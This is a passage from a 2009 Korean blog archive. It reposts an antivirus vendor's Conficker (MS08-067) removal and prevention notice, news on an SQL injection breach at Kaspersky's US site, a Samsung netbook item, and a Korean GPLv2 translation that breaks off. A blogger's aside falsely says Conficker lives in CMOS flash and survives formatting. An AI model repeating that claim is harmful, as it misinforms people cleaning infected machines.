현 재 MS08-067 취약점을 이용한 V.WOM.Conficker 악성코드는 보안 패치가 되지 않은 취약PC를 원격지점에서 공격자가 통제하도록 할 수 있는 권한을 갖게 해주는 것 외에도 다른 추가적인 악성코드를 다운로드하고 추가감염을 위한 과도한 패킷을 발송하여 인터넷 속도를 저하시키거나 인터넷 연결 장애 현상을 초래합니다.
특히 이 악성코드의 경우 특수하게 조작된 RPC 요청(TCP 포트 445), 비밀번호가 취약하게 설정되어 있는 공유폴더에 대한 비밀번호 무작위 대입 공격과 USB등의 이동식 저장장치 자동실행(Autorun)을 통해 급격히 확산되고 있습니다.


- 영향받는 시스템

Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows Server2003
Microsoft Windows Vista
Microsoft Windows Server2008


- 치료 방법

알약에서는 해당 악성코드에 대한 전용백신을 제공하고 있습니다. 아래의 전용백신을 다운로드 받아 실행합니다.

> 전용백신 다운로드 



※ V.WOM.Conficker 전용 백신을 실행하면 자동으로 시스템을 검사/치료하고 창이 사라집니다.

해당 악성코드의 변종 발생 가능성이 높으므로, 전용백신으로 치료해도 같은 증상이 반복해서 나타나는 경우 알약의 신고하기 메뉴를 통해 혹은 알약 고객센터를 통해 신고를 부탁드립니다. 신속히 확인/처리하겠습니다.


- 예방 방법

1. MS08-067취약점에 대한 보안패치를 업데이트합니다.

Microsoft MS08-067 취약점 보안 업데이트 다운로드

> Windows 2000 보안패치 
> Windows XP 보안패치 
> Windows Vista 보안패치 
> Windows 2003 보안패치 

Microsoft MS08-067 취약점 정보 참고 사이트

> 사이트 바로가기 

2. 알약의 DB업데이트를 최신으로 유지하고, 실시간 감시 수준을 '높음'으로 설정합니다.

3. USB(이동식 저장장치)의 자동실행(Autorun)을 통한 감염을 막기위해 추가적으로 USB 자동 실행을 차단하고, 현재 사용중인 공유 폴더 설정 해제를 권장합니다.
USB 자동 실행을 차단하는 툴은 국가정보원에서 무료로 제공하고 있습니다. 아래의 링크를 클릭하여 프로그램을 다운로드 받아 실행하여 USB 자동 실행을 차단합니다.

> USB 자동실행 차단 툴 다운로드 



※ "자동실행 차단" 버튼을 누르면 autorun.inf를 통한 USB(이동식 저장장치)의 자동실행 기능이 차단됩니다.

- 기타 추가 조치 사항

기업의 네트워크나 보안 관리자께서는 방화벽이나 IPS에서 TCP 139, 445번 포트 차단을 권장합니다.

(출처:http://alyac.altools.co.kr/etc/Notice_Contents.aspx?idx=112 이스트소프트알약 공지사항)

=============================================================================================
파이넨셜 뉴스 링크
정말 무섭군요 =ㅅ=;; 참고로 이 바이러스는 시모스 플래시메모리를 통해 감염되며 포맷해도 사라지지 않는 바이러스이며 백업용 수은전지를 빼서 방전시켜야 없어지는 악질 바이러스입니다-ㅅ-

2009년 2월 10일 화요일

[베타뉴스]세계적 보안업체 카스퍼스키랩, 해킹에 속수무책?

2009-02-10 11:20:15 / 김영훈 기자
(raptor@betanews.net)

세계적인 보안업체 '카스퍼스키랩'의 미국 홈페이지가 해커의 SQL 인젝션 공격을 받아 상당수의 개인정보가 유출된 것으로 알려지면서, 보안 업계가 바짝 긴장하고 있는 것으로 나타났다.

 

일렉트로니스타 등 IT 주요 외신들에 따르면, 전세계 50개국 이상의 파트너 업체를 두고 있는 카스퍼스키랩이 해킹을 당하면서, 현재까지 2천여개에 달하는 이메일 주소가 위험에 노출됐다고 보도했다.

 

이 해커는 자신의 블로그를 통해 "카스퍼스키랩은 보안 시장에서 가장 규모가 큰 업체중 하나이지만, 사용자 데이터베이스 관리에는 다소 소홀해 보였다"라며, "회사 임직원 및 사용자들의 개인정보와 판매처 관련 정보들을 손쉽게 빼내는 데 성공했다"라고 말했다.

 

SQL 인젝션 공격은 웹 서버에 SQL 명령어를 삽입시켜 정당한 사용자로 위장해 정보를 빼내는 악의적인 기법으로서, 최근 국내에서도 이와 유사한 해킹 사고가 다수 발생한바 있다.

 

이에 대해 카스퍼스키랩 관계자는 "SQL 인젝션 공격으로 인해 2천여개의 개인정보를 탈취 당한 점은 확실하지만, 해커가 개인정보에 관련된 세부 사항에는 접근하지 않았다"라고 해명했다.

 

전문가들은 "카스퍼스키랩의 이번 해킹을 계기로 다수의 보안업계들도 이와 같은 일이 다시 발생하지 않도록 대책을 강구해야 할 것"이라고 지적했다.


SQL 인젝션 공격을 당한 카스퍼스키 미국 홈페이지 (출처 - 테크 헤럴드)
 
                  대규모 중국발 SQL 공격, 국내 사이트 '몸살'
============================================================================================
헛;; 누구를 믿어야 하나;;

[Zdnet Korea]삼성전자의 두 번째 넷북 'NC20' 출시

김효정 기자 hjkim@zdnet.co.kr
2009.02.09 / PM 05:01

[지디넷코리아]삼성전자가 9일 영국에서 자사의 2번째 넷북을 선보일 것을 밝혔다. 이는 지난 2008년 9월에 발매된 NC10의 후속모델인 'NC20'

 

이 제품은 윈도XP를 탑재하고 있으며 HDD 용량은 130GB이다. 1.3메가픽셀 카메라를 내장하고 있으며, 카드리더와 최대 6.5시간의 6셀 배터리를 갖추고 있다. 통신관련 사양은 블루투스 2.0과 10/100Mbps 이더넷 랜(유선), 무선 랜 규격으로는 802.11b/g 와이파이를 지원한다.

 

▲ 삼성전자의 넷북 신제품 `NC20`

NC20은 전 모델인 NC10과 다른 점이 크게 두 가지다. 첫번째는 디스플레이 크기. NC10은 10.2인치 였지만, NC20은 12.1인치로 넓어졌다.

 

두 번째 다른 점은 메인 프로세서. NC10은 '인텔 아톰 1.6GHz 프로세서'를 탑재했지만, NC20은 VIA의 '나노 1.3 GHz 프로세서'와 VX800 칩 세트가 탑재됐다. 메모리는 1GB이며, 그래픽 엔진은 인텔의 GMA950에서 VIA의 크롬9(Chrome9)로 변경됐다.

 

▲ 삼성전자의 넷북 신제품 `NC20`

영국에서 NC20은 부가세 포함 399파운드(약 81만원)로 판매되는데, NC10은 기존에 329파운드(약 67만원)에 판매됐었다.  무게는 약 1.52kg이다.

================================================================================
저게 ASUS 의 Eee PC의 판매량을 뛰어넘을 수 있을련지 궁금하군요 ^^;;
한국에는 안들어올라나 =ㅅ=

2009년 2월 8일 일요일

[스크랩]리눅스 커널 모듈 프로그래밍 안내서

(첨부파일은 GNU 퍼블릭 라이센스를 읽고 다운로드 하실수 있도록 저 밑에 링크를 두었습니다.)

Version 1.1.0, 1999년 4월 26일. 

 원저자 : Ori Pomerantz 

역자 : 채병철(dataeng@chollian.net) 

번역시작 : 1999년 8월 16일.

이 안내서를 따라하실려면 컴파일한 프로그램을 가상 미디어로 구워서 VirtualBox를 사용해서 테스트 하시거나, CD,플로피 디스켓,USB(FAT32만 됩니다)를 이용해서 실제 컴퓨터에 넣고 부팅하십시오. 

이 책의 모든 번역 내용은 아래에 언급한, 그리고 원문의 GPL을 따릅니다. 누구나 이

책을 GPL하에서 자유롭게 배포할 수 있습니다. 다만 수정의 경우나 번역상의 오류는 

본인에게 알려주시면 즉시 이를 반영할 것이며, 이 안내서가 일관된 내용을 유지하는

데 도움을 줄 것입니다.

이 문서는 자유 소프트웨어 재단(Free Software Foundation)의 GNU General Public 

License를 한국어로 번역한 것이다. 이 문서는 GNU General Public License가 내포하

고 있는 호혜적인 자유와 공유의 정신을 보다 많은 사람들에게 알리기 위한 희망에서 

작성되었지만 자유 소프트웨어 재단의 공식 문서로 취급될 수는 없다. 이는 원래의 문

서가 의도하고 있는 내용들이 왜곡되지 않고 법률적으로 유효하기 위해서 선행되어야 

할 양국의 현행 법률과 언어의 적합성 여부에 대한 전문가들의 검토 작업에 많은 비용

이 필요하기 때문이다. 따라서, 자유 소프트웨어 재단은 오역이나 해석상의 난점으로

인해서 발생될 지 모를 분쟁의 가능성을 미연에 방지하고 문서가 담고 있는 내용과 취

지를 보다 많은 사람들에게 홍보하려는 상반된 목적을 한국어 번역문을 공식적으로 승

인하지 않음으로써 양립시킬 수 있을 것이다. 

자유 소프트웨어 재단은 GNU General Public License를 실무에 적용할 경우, 오직 영

문판 GNU General Public License에 의해서 만이 그 법률적 효력이 올바르게 발생될 

수 있음을 권고하고 있다. 이 번역문은 법률적 검토와 문서간의 동일성 여부에 대한 

검증을 거치지 않은 것이며 이로 인해서 야기될 수 있을 지도 모를 법률적인 문제에 

대해서 어떠한 형태의 보증도 하지 않는다. 

 

Original Copy: GNU General Public License 

 

Korean Translator: 1998 Song Changhun 송창훈 mailto:chsong@cyber.co.kr 

 

목 차

 

* GNU GENERAL PUBLIC LICENSE 

* 전 문(前 文) 

* 복제와 개작, 배포에 관한 조건과 규정 

* GPL을 실무에 적용하는 방법 

 

GNU GENERAL PUBLIC LICENSE

 

Version 2, June 1991 

Copyright (C) 1989, 1991 Free Software Foundation, Inc. 

59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

 

저작권과 사용 허가에 대한 본 사항이 명시되는 한,

어떠한 정보 매체에 의한 본문의 전재나 발췌도 무상으로 허용된다.

단, 원문에 대한 수정과 첨삭은 허용되지 않는다.

 

전 문 (前 文)

 

소프트웨어에 대한 대부분의 라이센스는 해당 소프트웨어에 대한 수정과 공유의 자유

를 제한하려는 것을 그 목적으로 한다. 그러나, GNU General Public License는 자유 

소프트웨어에 대한 수정과 공유의 자유를 호혜적으로 보장하기 위해서 성립되었다. 자

유 소프트웨어 재단이 제공하는 대부분의 소프트웨어들은 GNU General Public License

의 규정에 의해서 관리되고 있으며 별도의 관리 방법이 보다 효과적이라고 판단되는 

라이브러리 서브루틴(library subroutine)의 경우, 독립된 문서인 GNU Library Gener-

al Public License를 선택적으로 적용하고 있다. 자유 소프트웨어란 이를 사용하려는 모

든사람에 대해서 동일한 자유와 귄리가 함께 양도되는 소프트웨어를 의미하며 프로그

램저작자의 의지에 따라 어떠한 프로그램에도 이 규정들이 적용될 수 있다. 

자유 소프트웨어를 언급할 때 사용되는 '자유'라는 단어의 의미는 금전적인 측면의 자

유가 아닌 구속되지 않는다는 관점에서의 자유를 의미하며 GNU General Public Licen-

se는 자유 소프트웨어를 이용한 복제와 개작, 배포와 수익 사업 등의 가능한 모든 형

태의 자유를 실제적으로 보장한다. 여기에는 소스 코드의 전부 또는 일부를 원용해서

개선된 프로그램으로 변형시키거나 새로운 프로그램을 창작할 수 있는 자유가 포함되

며 자신에게 양도된 이러한 자유와 권리들을 보다 명확하게 인식할 수 있도록 하기 위

한 규정 또한 포함되어 있다. 

GNU General Public License는 이 문서에 소프트웨어 피양도자의 권리를 제한하는 특

정 조항과 단서들을 별항으로 첨가시키지 못하게 함으로써 사용자들의 실질적인 자유

와 권리를 보장하고 있다. 자유 소프트웨어의 개작과 배포에 관계하고 있는 사람들은

이러한 무조건적인 권리 양도 규정을 준수해야만 한다. 

예를 들면, 특정 프로그램을 배포할 경우 양도자는 피양도자에게 자신이 양도받았던 

모든 권리를 수익 여부에 관계없이 그대로 이전해야만 한다. 소스 코드에 대한 사용 

권리 또한 여기에 포함되어야 하며 이와 같은 사항들을 명시함으로써 피양도자들에게 

그들이 양도받은 권리를 알 수 있도록 해야 한다. 

자유 소프트웨어 재단은 다음과 같은 두 가지 방법에 의해서 반복되는 양도에 따른 사

용자 모두의 권리를 보호한다: (1) 저작권을 인정함으로써 프로그램 저작자들의 권리

를 보호한다. (2) 저작권의 양도에 관한 실정법에 의해서 유효한 법률적 효력을 갖는

GNU General Public License를 통해서 소프트웨어의 복제와 개작, 배포 등에 대한 소

프트웨어 피양도자의 권리를 실질적으로 보장한다. 

자유 소프트웨어의 사용자들은 지속적인 양도 과정을 통해서 소프트웨어 자체에 수정

과 변형에 의한 문제가 발생될 수 있으며 이는 최초의 저작자에 의한 소프트웨어가 갖

는 문제가 아닐 수 있다는 개연성에 대해서 인식하고 있어야 한다. GNU General Publ-

ic License에 자유 소프트웨어에 대한 어떠한 형태의 보증도 규정하지 않은 이유는 이

러한 점들이 고려되었기 때문이며 이는 프로그램 원저작자와 자유 소프트웨어 재단의

자유로운 활동을 보장하는 현실적인 수단이기도 하다. 

특허 제도는 자유 소프트웨어의 발전을 위협하는 요소일 수밖에 없다. 따라서, 자유

소프트웨어를 배포할 경우 개별적인 배포 과정에 특허를 취득한 저작물을 함께 포함시키

지 않음으로써 이용 상의 자유가 제한되지 않도록 하는 것이 최선의 방법이다. GNU G-

eneral Public License는 이러한 문제에 대처하기 위해서 특허가 취득된 저작물은 그 

라이센스를 불특정 다수(이하, "공중"이라 한다)에게 공개적으로 허용하는 경우에 한

해서 자유 소프트웨어와 함께 사용할 수 있도록 규정하고 있다. 

 

복제(copying)와 개작(modification), 배포(distribution) 등에 관련된 구체적인 조건

과 규정은 다음과 같다. 

 

복제와 개작, 배포에 관한 조건과 규정

 

제 0 항. 본 라이센스는 GNU General Public License의 규정에 따라서 배포될 수 있다

는 사항이 저작권자에 의해서 명시된 모든 컴퓨터 프로그램 저작물에 대해서 동일하게

적용된다. 컴퓨터 프로그램 저작물(이하, "프로그램"이라 한다)이란 특정 프로그램이

나 이와 관련된 기타 저작물을 의미하고 "2차적 프로그램"이란 저작권법의 규정에 따

라 프로그램의 전부 또는 상당 부분을 원용하거나 다른 프로그래밍 언어로의 번역을 

포함할 수 있는 개작 과정을 통해서 창작된 새로운 프로그램과 이와 관련된 저작물을

의미한다(이후로 다른 프로그래밍 언어로의 번역은 별다른 제한 없이 개작의 범위에 

포함되는 것으로 간주한다) "피양도자"란 GNU General Public License의 규정에 의해

서 프로그램을 양도받은 사람을 의미한다. 

본 라이센스는 프로그램에 대한 복제와 개작, 배포 행위에 대해서만 적용된다. 따라서

, 프로그램을 실행시키는 행위는 제한되지 않으며 프로그램의 실행에 따른 결과물은 

실행 자체에 의한 결과물의 생성 여부에 상관없이 결과물이 2차적 프로그램을 구성했

을때에 한해서 본 라이센스의 규정을 적용할 수 있다. 2차적 프로그램의 구성 여부는 

2차적 프로그램 안에서의 프로그램의 역할을 토대로 판단한다. 

 

제 1 항.피양도자는 프로그램에 대한 보증을 제공하지 않는다는 사실과 저작권을 함께

명시하는 한, 양도받은 소스 코드의 전부 또는 일부를 어떠한 정보 매체를 통해서도 

복제해서 배포할 수 있다. 피양도자가 프로그램의 소스 코드를 재배포할 때는 프로그

램에 대한 보증이 결여되어 있다는 사실과 본 라이센스에 대해서 언급한 사항들을 양

도받은 그대로 유지시켜야 하며 GNU General Public License 원문을 함께 제공해야 한

다. 복제물을 배포할 경우, 복제물을 제작하기 위해서 소요된 경비를 충당하기 위해서

배포본을 유료로 판매할 수 있으며 유료 판매에 따른 배포본의 환불을 보장하는 별도

의 보증을 설정할 수 있다. 

 

제 2 항. 피양도자는 자신이 양도받은 프로그램의 전부 또는 일부를 개작할 수 있으며

이를 통해서 2차적 프로그램을 창작할 수 있다. 개작된 프로그램이나 창작된 2차적 프

로그램의 소스 코드는 제 1 항의 규정에 의해서 다음의 사항들을 만족시키는 조건에 

한해서 복제해서 배포될 수 있다. 

* a) 개작된 파일은 파일이 개작된 사실과 개작된 날짜가 명시적으로 확인될 수 있도

록 작성되어야 한다. 

* b) 배포하거나 출판하려는 저작물의 전부 또는 일부가 양도받은 프로그램으 로부터

파생된 것이라면 개작된 프로그램에 대한 배포본이나 출판물 전 체에 대한 사용 권리

를 공중에게 무상으로 허용해야 한다. 

* c) 개작된 프로그램의 일반적인 실행 형태가 명령어 입력 방식에 의한 대화 형 구조

일 경우, 개작된 프로그램은 이러한 대화형 구조로 평이하게 실 행되었을 때 저작권에 

대한 사항과 프로그램에 대한 보증이 결여되어 있 다는 사실이 개작된 프로그램을 본

라이센스의 규정에 의해서 다시 개작 해서 배포할 수 있다는 사항과 GNU General Pub-

lic License를 열람할 수 있는 방법과 함께 실행 직후에 지면 또는 화면을 통해서 출

력될 수 있도 록 작성되어야 한다(예외 규정: 양도받은 프로그램이 대화형 구조를 갖

추고 있다 하더라도 통상적인 실행 환경에서 전술한 사항들이 출력되지 않는 형태였을

경우, 이를 개작한 프로그램 역시 관련 사항들을 출력시 키지 않아도 된다) 

본 조항들은 개작된 부분이 포함된 2차적 프로그램 전체에 적용된다. 만약, 어떠한 저

작물이 2차적 프로그램에 포함되어 있는 부분과 동일한 것이라 하더라도 그것이 양도

받은 프로그램으로부터 파생된 것이 아니라 별도의 독립 저작물로 인정될 만한 상당한

이유가 있을 경우, 이 저작물의 개별적인 배포 과정에는 본 라이센스와 규정들이 적용

되지 않는다. 그러나, 이러한 저작물이 2차적 프로그램에 포함되어 함께 배포된다면 

개별적인 저작권과 배포 기준에 상관없이 배포본의 전체 저작물 모두가 본 라이센스에

의해서 관리되어야 하며 전체 저작물의 일부 또는 전부에 대한 사용상의 모든 권리가

공중에게 무상으로 양도되어야 한다. 

이러한 규정은 개별적인 저작물에 대한 저작권자의 권리를 말소시키려는 것이 아니라 

2차적 프로그램으로부터 반복적으로 파생되거나 이러한 프로그램들을 모아 놓은 배포

본에 대해서 본 라이센스의 규정들을 동일하게 적용하기 위한 것이다. 프로그램(또는

2차적 프로그램)들을 단순히 저장하거나 배포할 목적으로 함께 구성해 놓은 경우는 이

들이 파생적 저작물을 생성하지 않는 한 본 라이센스에 의해서 관리된다. 

 

제 3 항. 피양도자는 다음의 조항 중 하나를 만족시키는 조건에 한해서 제 1 항과 제

2 항의 규정에 따라 프로그램(또는 제 2 항의 규정에 의한 2 차적 프로그램)을 목적

코드나 실행 형태로 복제해서 배포할 수 있다. 

* a) 목적 코드나 실행 형태에 해당하는 소스 코드의 전부를 제 1 항과 제 2 항의 규

정에 따라서 컴퓨터가 입력받거나 번역할 수 있는 형태로 소프트 웨어의 배포를 위해

서 일반적으로 사용되는 정보 매체를 통해서 함께 제 공해야 한다. 

* b) 목적 코드나 실행 형태에 해당하는 소스 코드의 전부를 최소한 3년 이상 유지될

수 있는 인쇄물의 형태로 제 1 항과 제 2 항의 규정에 따라서 소프트웨어의 배포를 위

해서 일반적으로 사용되는 정보 매체를 통해서 제작 실비에 준하는 비용만을 부과해서

공중에게 양도될 수 있도록 함께 제공해야 한다. 

* c) 목적 코드나 실행 형태에 해당하는 소스 코드의 전부를 취득할 수 있는 방법에 

대한 정보를 함께 제공해야 한다(이 항목은 비영리적인 배포와 항목 b)에 의해서 목적 

코드나 실행 형태의 배포본을 제공할 때에 한해 서 적용될 수 있다) 

저작물에 대한 소스 코드란 해당 저작물을 개작하기 위해서 일반적으로 선호되는 표현

형식을 의미하고 실행물에 대한 소스 코드란 올바르게 실행되기 위해서 필요한 모듈과

인터페이스 정의 파일, 컴파일과 설치를 위해서 필요한 스크립트 등을 모두 포함한다. 

그러나, 컴파일러나 커널과 같은 운영체제의 주요 부분들에 대한 소스 코드나 바이너

리형태는 프로그램이 이러한 부분들과 직접 관계되지 않는 한 함께 제공하지 않아도 

무관하다. 목적 코드나 실행 형태를 특정 장소로부터 복제할 수 있도록 허용하는 방식

으로 배포할 경우, 동일한 장소로부터 소스 코드를 복제할 수 있도록 허용하는 것은 

피양도자에게 소스 코드를 목적 코드나 실행 형태와 함께 복제해 갈 것을 규정하지 않

았다 하더라도 소스 코드를 함께 배포하는 것으로 간주한다. 

 

제 4 항. 본 라이센스에 의해서 명시적으로 프로그램을 양도받지 않았다면 양도받은 

프로그램에 대한 복제와 개작, 별도의 라이센스 설정과 배포 행위 둥을 할 수 없다. 

이와 관련된 어떠한 행위도 법률적으로 무효이며 본 라이센스에서 규정하고 있는 사용

상의 모든 권리는 자동적으로 소멸된다. 단, 본 라이센스의 규정에 의하지 않고 양도

받은 프로그램이라 하더라도 이를 명시적인 라이센스 양도 규정에 따라 다시 배포했을

경우, 프로그램을 다시 양도받은 제 3의 피양도자는 본 라이센스를 준수하는 조건하에

서 사용상의 권리를 유지할 수 있다. 

 

제 5 항. 피양도자는 프로그램의 양도에 관한 본 라이센스에 서명하지 않음으로써 본

라이센스의 규정들을 받아들이지 않을 수 있다. 이 경우, 피양도자에게는 프로그램에

대한 단순한 사용만이 허용되며 프로그램과 2차적 프로그램에 대한 개작과 배포 행위

는 허용되지 않는다. 이는 피양도자가 라이센스에 서명하지 않음으로써 발생된 법률적

금지 사항이다. 따라서, 프로그램(또는 2차적 프로그램)을 개작하거나 배포하는 행위

는 복제와 개작, 배포에 관한 본 라이센스의 규정과 조건들을 모두 받아들이겠다는 묵

시적인 동의로 간주한다. 

 

제 6 항. 피양도자에 의해서 프로그램(또는 2차적 프로그램)이 반복적으로 배포될 경

우, 각 단계에서의 피양도자는 본 라이센스의 규정에 의한 프로그램의 복제와 개작,

배포에 대한 권한을 최초의 프로그램 양도자로부터 양도받은 것으로 자동적으로 간주

된다. 프로그램(또는 2차적 프로그램)을 양도할 때는 피양도자의 권리를 제한할 수 있

는 어떠한 사항도 별항으로 첨가할 수 없으며 그 누구도 본 라이센스의 규정들을 준수

하도록 강제할 수 없다. 

 

제 7 항. 법원의 판결이나 특허권 침해에 대한 주장 또는 특허 문제에 국한되지 않는

그 밖의 다른 이유들로 인해서 본 라이센스의 규정에 배치되는 사안이 발생한다 하더

라도 본 라이센스에 배치되는 규정들이 본 라이센스에 대한 실행 상의 우선권을 갖게 

되지는 않는다. 따라서, 법원의 명령이나 합의 등에 의해서 본 라이센스에 위배되는

사항들이 부과된다 하더라도 본 라이센스의 규정들을 함께 충족시키면서 해당 프로그

램을 배포할 수 없다면 이 프로그램의 배포는 금지된다. 예를 들면, 특정 특허 관련

라이센스가 직접 또는 간접적인 양도 방법에 의해서 프로그램을 무상으로 배포하는 것

을 허용하지 않는다면 이 프로그램은 본 라이센스의 규정에 의해서 관리되는 프로그램

들과 함께 배포될 수 없다. 특정 상황에서 본 조항의 일부분이 적용될 수 없는 경우에

는 해당 부분을 제외한 나머지 부분들을 적용시키며 본 조항의 전부를 적용시키기 위

해서는 다른 상황과 조건들이 필요하다. 본 조항의 목적은 특허나 재산권 침해 등의 

행위를 조장하거나 해당 권리를 인정하지 않으려는 것이 아니라 GNU General Public 

License의 실제적인 적용을 통해서 자유 소프트웨어의 배포 체계를 통합적으로 보호하

기 위한 것이다. 많은 사람들이 배포 체계에 대한 신뢰있는 지원을 계속해 줌으로써 

소프트웨어의 다양한 분야에 많은 공헌을 해 주었다. 소프트웨어를 어떠한 배포 체계

를 통해서 배포할 것인가를 결정하는 것은 전적으로 저작자와 기증가들의 의지에 달려

있지 일반 사용자들이 강요할 수 있는 문제는 아닌 것이다. 본 조항은 계속되는 본 라

이센스의 내용들을 통해서 중요하게 취급되고 있는 점들을 보다 명확하게 설명하는 데

도움이 될 것이다. 

 

제 8 항. 특허권과 저작권의 법적 처리 방식에 의해서 특정 국가에서 프로그램의 배포

와 사용이 함께 또는 개별적으로 금지될 경우, 본 라이센스에 의해서 프로그램을 공개

한 원저작자는 문제가 발생되지 않는 국가에 한해서 이를 배포한다는 배포상의 지역적 

제한 조건을 설정할 수 있으며 이러한 사항은 본 라이센스의 일부로 간주된다. 

 

제 9 항. 자유 소프트웨어 재단은 GNU General Public License를 개정하거나 갱신할 

수 있다. 개정되거나 변동되는 사항은 새로운 문제와 관심에 따라서 세부적으로 조정

되겠지만 그 근본 정신은 바뀌지 않을 것이다. 

GNU General Public License의 모든 버전은 다른 버전 번호로 구별될 것이다. 양도받

은 프로그램이 특정 버전의 라이센스를 명시하고 있다면 해당 버전 또는 그 이후의 

라이센스가 적용되며 버전을 명시하지 않은 경우는 어떠한 버전의 라이센스를 적용해

도 무방하다. 

 

제 10 항. 프로그램의 일부를 본 라이센스와 배포 기준이 다른 자유 프로그램과 함께 

배포할 경우, 해당 프로그램의 저작자로부터 서면을 통한 승인을 받아야 한다. 자유 

소프트웨어 재단이 저작권을 갖고 있는 소프트웨어를 사용하기 위해서는 자유 소프트

웨어 재단의 승인을 얻어야 한다. 자유 소프트웨어 재단은 승인 요건에 대해서 예외 

규정을 둘 수 있다. 자유 소프트웨어 재단은 자유 소프트웨어의 2차적 저작물들을 모

두 자유로운 상태로 유지시키려는 목적과 소프트웨어의 일반적인 공유와 재활용을 증

진시키려는 기준에 근거해서 승인 여부를 결정할 것이다.

 

보증의 결여 

 

제 11 항. 본 라이센스에 의한 프로그램은 무상으로 양도되므로 관련 법이 허용하는

한도 내에서 어떠한 형태의 보증도 제공하지 않는다. 단, 프로그램의 저작권자와 제

3의 배포자에 의해서 공동 또는 개별적으로 특정 목적에 대한 프로그램의 적합성 여

부를 검증하기 위한 경우나 상업적 판매에 따른 별도의 보증이 제공된다는 사항이 서

면으로 명시되어 있는 경우는 예외로 한다. 이 경우도 해당 프로그램 자체가 갖고 있

는 근원적인 보증의 결여를 제한할 수는 없다. 프로그램과 프로그램의 실행에 따라 발

생할 수 있는 위험은 모두 피양도자에게 인수되며 이에 따른 보수 및 복구를 위한 제

반 경비 또한 모두 피양도자가 부담한다. 

 

제 12 항. 저작권자나 제 3의 배포자가 프로그램의 손상 가능성을 사전에 알고 있었다

하더라도 발생된 손실이 관련 법규에 의해서 보호되고 있거나 저작권자나 프로그램 자

체에 대한 보증을 제공하지 않는다는 전제로 프로그램과 개작된 프로그램을 함께 또는

개별적으로 공급한 배포자가 서면으로 별도의 보증을 설정한 경우가 아니라면 프로그

램의 사용이나 사용상의 미숙으로 인해서 발생된 손실은 모두 피양도자의 책임이다. 

발생된 손실의 일반성이나 특수성 뿐만 아니라 원인의 우발성 및 필연성도 고려되지 

않는다. 

 

복제와 개작, 배포에 관한 조건과 규정의 끝.

 

규정들을 실무에 적용하는 방법

 

개발한 프로그램이 보다 많은 사람들에게 유용하게 사용되기를 원한다면 그 프로그램

이 본 라이센스의 규정에 따라서 자유롭게 수정되고 배포될 수 있도록 자유 소프트웨

어로 만드는 것이 최선의 방법이다. 

다음과 같은 사항들을 프로그램에 첨가함으로써 해당 프로그램을 자유 소프트웨어로 

만들 수 있다. 프로그램에 대한 보증을 제공하지 않는다는 사실을 가장 효과적으로 전

달할 수 있는 방법은 소스 코드가 포함되어 있는 모든 파일의 시작 부분에 이러한 사

항들을 명시하는 것이다. 각각의 파일들은 최소한 저작권과 GPL을 취득할 수 있는 방

법을 명시해야만 한다. 

 

프로그램의 이름과 용도에 대한 설명을 위해서 한 줄을 사용한다.

Copyright (C) 19yy 프로그램 저작자의 이름

 

이 프로그램은 자유 소프트웨어이다. 소프트웨어의 피양도자는 자유 소프트웨어 재단

의 GNU General Public License의 규정에 의해서 이 프로그램을 개작된 2차적 프로그

램과 함께 또는 개별적으로 배포할 수 있다.

 

이 프로그램은 보다 유용하게 사용될 수 있으라는 희망에서 배포되고 있지만 제품에 

대한 어떠한 형태의 보증도 하지 않는다. 보다 자세한 사항에 대해서는 GNU General 

Public License를 참고하기 바란다.

 

GNU General Public License는 이 프로그램과 함께 제공된다. 

 

만약, 이 문서가 누락되어 있다면 자유 소프트웨어 재단에 문의하기 바란다(자유 소프

트웨어 재단: Free Software Foundation, Inc., 59 Temple Place - Suite 330, Bost-

on, MA 02111-1307, USA)

 

또한, 프로그램 저작자와 서면 또는 전자 메일을 통해서 연락할 수 있는 정보를 기재

해야 한다. 

 

만약, 이 프로그램이 명령어 입력 방식에 의한 대화형 구조를 택하고 있다면 프로그램

이 대화형 방식으로 실행되는 초기 상태에서 다음과 같은 주의 사항을 출력시켜야 한

다. 

 

Gnomovision version 69, Copyright (C) 19yy프로그램 저작자의 이름 

Gnomovision은 제품에 대한 어떠한 형태의 보증도 제공되지 않는다. 

 

보다 자세한 사항은 'show w' 명령어를 이용해서 관련된 사항을 출력해 보기 바란다.

본 프로그램은 자유 소프트웨어이며 특정 규정들을 만족시키는 조건하에서 재배포될

수 있다. 배포에 대한 해당 규정은 'show c' 명령어를 통해서 참조할 수 있다. 

'show w'와 'show c'는 General Public License의 해당 부분을 참조하기 위한 가상의

명령어이다. 따라서, 이 명령어들은 마우스를 이용하거나 메뉴 방식을 구성하는 등의

프로그램에 적합한 여러 가지 형태으로 변형될 수 있을 것이다. 만약, 프로그램 저작

자가 학교나 기업과 같은 단체나 기관에 고용되어 있다면 프로그램의 자유로운 배포를

위해서 고용주나 해당 기관장으로 부터 프로그램에 대한 저작권을 포기한다는 동의를

얻어야 한다. 예를 들면, 다음과 같은 형식이 될 수 있다. 

 

본사는 James Hacker에 의해서 작성된

'Gnomovision' 프로그램에 관계된 모든 저작권을 포기한다. 

1989년 4월 1일

Yoyodye, Inc., 부사장: Ty Coon

서명: Ty Coon의 서명 

 

본 라이센스는 자유 소프트웨어로 설정된 프로그램을 독점 소프트웨어와 함께 사용하

는 것을 허용하지 않는다. 만약, 작성된 프로그램이 라이브러리 서브루틴과 같은 프로

그램일 경우에는 이를 독점 소프트웨어 형태의 응용 프로그램과 함께 사용함으로써 보

다 효과적으로 활용될 수 있다고 생각할 수도 있을 것이다. 이러한 경우는 본 라이센

스 대신에 GNU Library General Public License를 사용함으로써 소기의 목적을 충족시

킬 수 있을 것이다.
이 문서는 자유 소프트웨어 재단(Free Software Foundation)의 GNU General Public 

License를 한국어로 번역한 것이다. 이 문서는 GNU General Public License가 내포하

고 있는 호혜적인 자유와 공유의 정신을 보다 많은 사람들에게 알리기 위한 희망에서 

작성되었지만 자유 소프트웨어 재단의 공식 문서로 취급될 수는 없다. 이는 원래의 문

서가 의도하고 있는 내용들이 왜곡되지 않고 법률적으로 유효하기 위해서 선행되어야 

할 양국의 현행 법률과 언어의 적합성 여부에 대한 전문가들의 검토 작업에 많은 비용

이 필요하기 때문이다. 따라서, 자유 소프트웨어 재단은 오역이나 해석상의 난점으로

인해서 발생될 지 모를 분쟁의 가능성을 미연에 방지하고 문서가 담고 있는 내용과 취

지를 보다 많은 사람들에게 홍보하려는 상반된 목적을 한국어 번역문을 공식적으로 승

인하지 않음으로써 양립시킬 수 있을 것이다. 

자유 소프트웨어 재단은 GNU General Public License를 실무에 적용할 경우, 오직 영

문판 GNU General Public License에 의해서 만이 그 법률적 효력이 올바르게 발생될 

